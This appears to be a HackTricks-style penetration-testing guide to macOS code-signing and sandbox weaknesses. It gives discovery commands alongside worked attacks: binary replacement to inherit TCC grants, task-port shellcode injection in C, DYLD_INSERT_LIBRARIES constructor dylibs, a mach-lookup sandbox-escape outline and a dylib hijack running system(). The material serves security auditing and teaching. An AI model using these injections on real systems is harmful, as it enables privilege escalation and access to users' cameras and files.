macOS Code Signing Weaknesses & Sandbox Escapes
{{#include ../../../banners/hacktricks-training.md}}
Ad-Hoc Signed Binaries
Basic Information
Ad-hoc signing (CS_ADHOC) creates a code signature with no certificate chain β it's a hash of the code with no developer identity verification. The binary's origin cannot be traced to any developer or organization.
On Apple Silicon Macs, all executables require at minimum an ad-hoc signature. This means you'll find ad-hoc signatures on many development tools, Homebrew packages, and third-party utilities.
Why This Matters
- No verifiable identity β the binary can be replaced without detection by identity-based checks
- Third-party ad-hoc binaries in privileged positions (FDA, daemon, helpers) are high-priority targets
- On some configurations, ad-hoc signatures may not be verified as strictly as developer-signed code
- Ad-hoc signed binaries that have TCC grants are especially valuable β the grants persist even if the binary content changes (depends on how TCC keyed the grant)
Discovery
# Find ad-hoc signed binaries
find /usr/local /opt /Applications -type f -perm +111 -exec sh -c '
flags=$(codesign -dvv "{}" 2>&1 | grep "CodeDirectory flags")
echo "$flags" | grep -q "adhoc" && echo "AD-HOC: {}"
' \; 2>/dev/null
# Check a specific binary
codesign -dv --verbose=4 /path/to/binary 2>&1 | grep -E "Signature|flags|Authority"
# Ad-hoc shows: "Signature=adhoc" and no Authority lines
Attack: Binary Replacement
# If an ad-hoc signed daemon binary is in a writable location:
# 1. Check the binary's current capabilities
codesign -d --entitlements - /path/to/target 2>&1
# 2. Note its TCC grants in the database
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
"SELECT service, auth_value FROM access WHERE client LIKE '%target%';"
# 3. Replace the binary (if location is writable)
cp /tmp/malicious-binary /path/to/target
# 4. Re-sign with ad-hoc signature (mimics the original)
codesign -s - /path/to/target
# 5. On next launch, the daemon runs your code with the original's TCC grants
# (This works when TCC keyed the grant by path rather than code signature)
Debuggable Processes (get-task-allow)
Basic Information
The com.apple.security.get-task-allow entitlement (or CS_GET_TASK_ALLOW flag) allows any process to attach as a debugger, reading memory, modifying registers, injecting code, and controlling execution.
This is intended only for development builds. However, some third-party binaries ship with this entitlement in production.
Discovery
# Find debuggable binaries
find /Applications /usr/local -type f -perm +111 -exec sh -c '
codesign -d --entitlements - "{}" 2>&1 | grep -q "get-task-allow.*true" && echo "DEBUGGABLE: {}"
' \; 2>/dev/null
# Using the scanner
sqlite3 /tmp/executables.db "
SELECT path, privileged FROM executables e
JOIN executable_capabilities ec ON e.id = ec.executable_id
JOIN capabilities c ON ec.capability_id = c.id
WHERE c.name = 'get_task_allow_signature'
ORDER BY e.privileged DESC;"
Attack: Task Port Injection
#include <mach/mach.h>
#include <mach/mach_vm.h>
// Get the target's task port (requires get-task-allow on target)
mach_port_t task;
kern_return_t kr = task_for_pid(mach_task_self(), target_pid, &task);
if (kr == KERN_SUCCESS) {
// Allocate memory in target process
mach_vm_address_t addr = 0;
mach_vm_allocate(task, &addr, shellcode_size, VM_FLAGS_ANYWHERE);
// Write shellcode into target
mach_vm_write(task, addr, (vm_offset_t)shellcode, shellcode_size);
// Make it executable
mach_vm_protect(task, addr, shellcode_size, FALSE,
VM_PROT_READ | VM_PROT_EXECUTE);
// Create a remote thread to execute the shellcode
// The shellcode runs with ALL of the target's entitlements and TCC grants
}
No Library Validation + DYLD Environment
The Deadly Combination
When a binary has both:
- com.apple.security.cs.disable-library-validation (loads any dylib)
- com.apple.security.cs.allow-dyld-environment-variables (accepts DYLD env vars)
This is a guaranteed code injection primitive β DYLD_INSERT_LIBRARIES works perfectly.
Discovery
# Find binaries with the deadly combo
find /Applications -type f -perm +111 -exec sh -c '
ents=$(codesign -d --entitlements - "{}" 2>&1)
echo "$ents" | grep -q "disable-library-validation.*true" && \
echo "$ents" | grep -q "allow-dyld-environment.*true" && \
echo "INJECTABLE: {}"
' \; 2>/dev/null
# Using the scanner (both flags)
sqlite3 /tmp/executables.db "
SELECT path, privileged, tccPermsStr FROM executables
WHERE noLibVal = 1 AND allowDyldEnv = 1
ORDER BY privileged DESC;"
Attack: DYLD_INSERT_LIBRARIES Injection
# 1. Create the injection dylib
cat > /tmp/inject.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor))
void injected(void) {
// This runs BEFORE main() in the target's process
// We inherit ALL of the target's:
// - Entitlements
// - TCC grants (camera, mic, FDA, etc.)
// - Sandbox exceptions
// - Mach port rights
FILE *f = fopen("/tmp/injected_proof.txt", "w");
fprintf(f, "Running as PID %d with target's privileges\n", getpid());
fclose(f);
// Example: if target has camera TCC, we can now capture video
// Example: if target has FDA, we can read any file
}
EOF
# 2. Compile the dylib
cc -shared -o /tmp/inject.dylib /tmp/inject.c
# 3. Inject into the target
DYLD_INSERT_LIBRARIES=/tmp/inject.dylib /path/to/noLibVal-dyldEnv-binary
# 4. Verify injection
cat /tmp/injected_proof.txt
Sandbox Temporary Exceptions
How They Weaken the Sandbox
Sandbox temporary exceptions (com.apple.security.temporary-exception.*) punch holes in the App Sandbox:
| Exception | What It Allows |
|---|---|
temporary-exception.mach-lookup.global-name |
Connect to system-wide XPC/Mach services |
temporary-exception.files.absolute-path.read-write |
Read/write files outside the app container |
temporary-exception.iokit-user-client-class |
Open IOKit user-client connections |
temporary-exception.shared-preference.read-only |
Read other apps' preferences |
temporary-exception.files.home-relative-path.read-write |
Access paths relative to ~ |
Mach-Lookup Exceptions = Sandbox Escape Primitive
The most dangerous exception is mach-lookup β it allows a sandboxed app to talk to privileged daemons:
# Find apps with mach-lookup exceptions
find /Applications -name "*.app" -exec sh -c '
binary="$1/Contents/MacOS/$(defaults read "$1/Contents/Info.plist" CFBundleExecutable 2>/dev/null)"
[ -f "$binary" ] && {
ents=$(codesign -d --entitlements - "$binary" 2>&1)
echo "$ents" | grep -q "mach-lookup" && {
count=$(echo "$ents" | grep -c "mach-lookup")
echo "[$count exceptions] $(basename "$1")"
}
}
' _ {} \; 2>/dev/null | sort -rn
Attack: Sandbox Escape via Mach-Lookup
1. Compromise sandboxed app (renderer exploit, malicious document, etc.)
2. Read entitlements to discover mach-lookup exceptions
3. For each reachable service:
a. Connect via NSXPCConnection
b. Discover the service's protocol (class-dump, strings)
c. Fuzz each exposed method
4. Find a vulnerability in a privileged daemon
5. Exploit β code execution in the daemon's context (outside sandbox)
Private Apple Entitlements
What They Are
Entitlements prefixed with com.apple.private.* provide access to Apple-internal APIs not documented or available to third-party developers. Third-party binaries with private entitlements obtained them through enterprise cert, MDM, or non-App-Store distribution.
Dangerous Private Entitlements
| Entitlement | Capability |
|---|---|
com.apple.private.tcc.manager |
Full TCC database read/write |
com.apple.private.tcc.allow |
Access specific TCC services |
com.apple.private.security.no-sandbox |
Run without sandbox |
com.apple.private.iokit |
Direct IOKit driver access |
com.apple.private.kernel.\* |
Kernel interface access |
com.apple.private.xpc.launchd.job-label |
Register/manage launchd jobs |
com.apple.rootless.install |
Write to SIP-protected paths |
Discovery
# Find third-party binaries with private entitlements
find /Applications /usr/local -type f -perm +111 -exec sh -c '
ents=$(codesign -d --entitlements - "{}" 2>&1)
echo "$ents" | grep -q "com.apple.private" && {
echo "=== {} ==="
echo "$ents" | grep "com.apple.private" | head -10
}
' \; 2>/dev/null
# Using the scanner
sqlite3 /tmp/executables.db "
SELECT path FROM executables
WHERE privateEnts = 1 AND isAppleBin = 0
ORDER BY privileged DESC;"
Custom Sandbox Profiles (SBPL)
What They Are
Binaries can ship with custom sandbox profiles written in SBPL (Seatbelt Profile Language). These profiles can be more restrictive OR more permissive than the default App Sandbox.
Auditing Custom Profiles
# Find custom sandbox profiles
find /Applications /System -name "*.sb" -o -name "*.sbpl" 2>/dev/null
# Dangerous SBPL rules to flag during audit:
# (allow file-write*) β Write to ANY file
# (allow process-exec*) β Execute ANY process
# (allow mach-lookup*) β Connect to ANY Mach service
# (allow network*) β Full network access
# (allow iokit*) β Full IOKit access
# (allow file-read*) β Read ANY file
# Example: Audit a sandbox profile for overly permissive rules
cat /path/to/custom.sb | grep "(allow" | sort -u
Writable Library Paths
What They Are
When a binary loads a dynamic library from a path that the current user can write to, the library can be replaced with malicious code.
Discovery
# Using the scanner β find privileged binaries loading from writable paths
sqlite3 /tmp/executables.db "
SELECT e.path, e.privileged
FROM executables e
JOIN executable_capabilities ec ON e.id = ec.executable_id
JOIN capabilities c ON ec.capability_id = c.id
WHERE c.name = 'execs_writable_path'
ORDER BY e.privileged DESC
LIMIT 30;"
# Manual check: list library dependencies and check writability
otool -L /path/to/binary | awk '{print $1}' | while read lib; do
[ -f "$lib" ] && [ -w "$lib" ] && echo "WRITABLE: $lib"
done
Attack: Dylib Replacement
# 1. Find the writable library
otool -L /path/to/target-daemon | grep "/usr/local\|/opt\|Library"
# 2. Back up the original
cp /path/to/writable.dylib /tmp/original.dylib
# 3. Create a replacement that re-exports the original
cat > /tmp/evil.c << 'EOF'
#include <stdio.h>
__attribute__((constructor))
void evil(void) {
system("id > /tmp/escalated.txt");
}
EOF
cc -shared -o /tmp/evil.dylib /tmp/evil.c \
-Wl,-reexport_library,/tmp/original.dylib
# 4. Replace the library
cp /tmp/evil.dylib /path/to/writable.dylib
# 5. When the daemon restarts, it loads the evil dylib with daemon privileges
References
- Apple Developer β Code Signing Guide
- Apple Developer β App Sandbox
- Apple Developer β Entitlements
- The Evil Bit β clear-library-validation
{{#include ../../../banners/hacktricks-training.md}}